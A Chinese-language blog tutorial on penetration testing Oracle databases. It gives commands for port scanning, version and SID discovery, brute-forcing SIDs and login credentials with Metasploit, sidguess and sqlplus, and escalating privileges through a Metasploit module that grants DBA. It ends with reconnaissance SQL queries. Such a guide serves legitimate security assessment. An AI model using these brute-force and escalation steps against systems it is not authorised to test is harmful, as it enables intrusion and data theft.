zoukankan      html  css  js  c++  java
  • oracle数据库的安全测试

    Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。针对Oracle数据库如何测试呢?

    检测数据库端口是否开放


    这个任务可以使用nmap来对目标IP进行测试,也可以使用其他的端口扫描工具,下面就以nmap为例,可以使用如下命令:

    nmap -Pn -n -T4 --open -p1521 <target IP>

    检查数据库的版本信息


    得到一个存活的oracle数据库服务端口,了解数据库的版本信息非常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。

    1 利用msf

    使用如下模块来对数据库进行版本探测:

    msf > use auxiliary/scanner/oracle/tnslsnr_version

    2 使用tnscmd10g

    tnscmd10g是kali下的一个工具,命令如下:

    tnscmd10g version -h <target IP>

    tnscmd10g status -h <target IP>

    通过上述命令可以得到版本信息、日志文件、跟踪信息以及端口信息

    获取数据库的SID


    连接oracle数据库不仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:

    1 使用msf

    msf下有两个模块可以完成这个操作,命令如下:

    msf > use auxiliary/scanner/oracle/sid_enummsf > use auxiliary/admin/oracle/sid_brute

    2 使用sidguess

    sidguess是kali下的一款爆破Oracle SID的工具,命令如下:

    sidguess -i <target IP> -d /home/myh0st/pass.txt

    3 针对自带web管理平台

    如果oracle的版本为10g,默认自带通过8080端口远程管理的可以访问以下路径:

    http://<;target IP>:8080/oradb/PUBLIC/GLOBAL_NAME

    枚举数据库账号密码


    枚举爆破数据库连接账号密码可以使用下面的方式。

    1 使用msf

    使用这个模块需要指定SID,就是要在获取到SID后才能使用,使用模块如下:

    msf > use auxiliary/admin/oracle/login_brute

    set SID <sid>

    2 使用sqlplus

    sqlplus是oracle自带的数据库管理工具,可以使用以下命令登录数据库,也可以自己写脚本来枚举账号密码:

    sqlplus <username>/<password>@<target IP>:<port>/<SID>

    使用sql命令提权


    在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:

    msf > use auxiliary/admin/oracle/sql set DBUSER <user> set DBPASS <password> set SID <sid> set SQL select * from user_role_privs

    msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor set DBUSER <user> set DBPASS <password> set SID <sid> set SQL GRANT DBA TO <user> set SQL GRANT JAVASYSPRIV TO <user>

    获取数据库里关键信息的sql命令


    查询数据库版本:

    select * from v$version;

    数据库打补丁情况:

    select * from dba_registry_history;

    查看所有用户:

    select * from all_users;

    查询数据库中的所有表:

    select owner,table_name from all_tables;

    当前用户被激活的角色:

    select * from session_roles;

    描述数据库对象:

    desc utl_http

  • 相关阅读:
    ComboBox.DoubleClick事件
    mktime 夏令时
    STL String的使用[转]
    加在电源后至进入操作系统前的计算机的行为
    C语言数据类型大小分析(基于VC2005编译器)
    linux线程同步之条件变量
    windows 下架设svn服务器(转载+修改) (非利用Google项目托管)
    浅尝《Windows核心编程》之内核对象
    C——数组与指针
    如何用U盘做系统启动盘WINPE 并且 利用WINPE安装Ghost
  • 原文地址:https://www.cnblogs.com/-qing-/p/10729455.html
Copyright © 2011-2022 走看看